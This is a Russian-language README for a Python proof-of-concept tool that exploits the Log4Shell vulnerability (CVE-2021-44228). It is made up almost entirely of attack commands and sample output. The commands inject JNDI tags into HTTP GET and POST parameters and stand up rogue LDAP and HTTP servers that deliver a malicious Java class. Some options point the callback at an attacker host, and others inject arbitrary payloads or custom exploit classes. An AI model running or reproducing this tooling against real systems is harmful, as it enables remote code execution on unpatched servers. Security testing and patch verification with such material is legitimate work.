
Всё в одном PoC на чистом Python для CVE-2021-44228
Полноценный PoC на чистом Python3 для CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Это CLI-инструмент. Все опции доступны в справке:
python3 log4rce.py --help
Список довольно обширный, поэтому ниже приведена краткая сводка функциональности.
Инструмент позволяет использовать несколько режимов атак. Эти атаки являются расширениями класса Log4RCE.
Вы можете выполнить автоматическую HTTP-атаку на целевой URL.
Вы можете выполнить GET-запрос следующим образом:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Вы можете выполнить POST-запрос следующим образом:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
Предыдущее действие вставит JNDI-тег в ###.
Если ни один из предыдущих вариантов не подходит, используйте этот режим для вывода JNDI-тега:
python3 log4rce.py manual
Инструмент позволяет гибко настраивать большинство сетевых параметров. Все внутренние серверы можно перенастроить на разные адреса в соответствии с удалёнными настройками.
Вы можете настроить HTTP-сервер с помощью следующих параметров:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: Локальный порт для запуска сервера.
http_rport: Порт, который будет использоваться удалённой машиной для доступа.
http_host: Имя хоста/IP, к которому будет обращаться удалённая машина.
Вы можете настроить LDAP-сервер с помощью следующих параметров:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: Локальный порт для запуска сервера.
ldap_rport: Порт, который будет использоваться удалённой машиной для доступа.
ldap_host: Имя хоста/IP, к которому будет обращаться удалённая машина.
Инструмент поддерживает некоторые настройки.
Вы можете внедрить полезную нагрузку в Java-класс с помощью:
python3 log4rce.py --payload "PAYLOAD"
Полезная нагрузка будет вставлена в строки "###".
Вы можете создать собственный Java-класс следующим образом.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
Полученный .class можно запустить с помощью:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Примечание: Вы можете добавить строку "###" для возможности внедрения полезной нагрузки.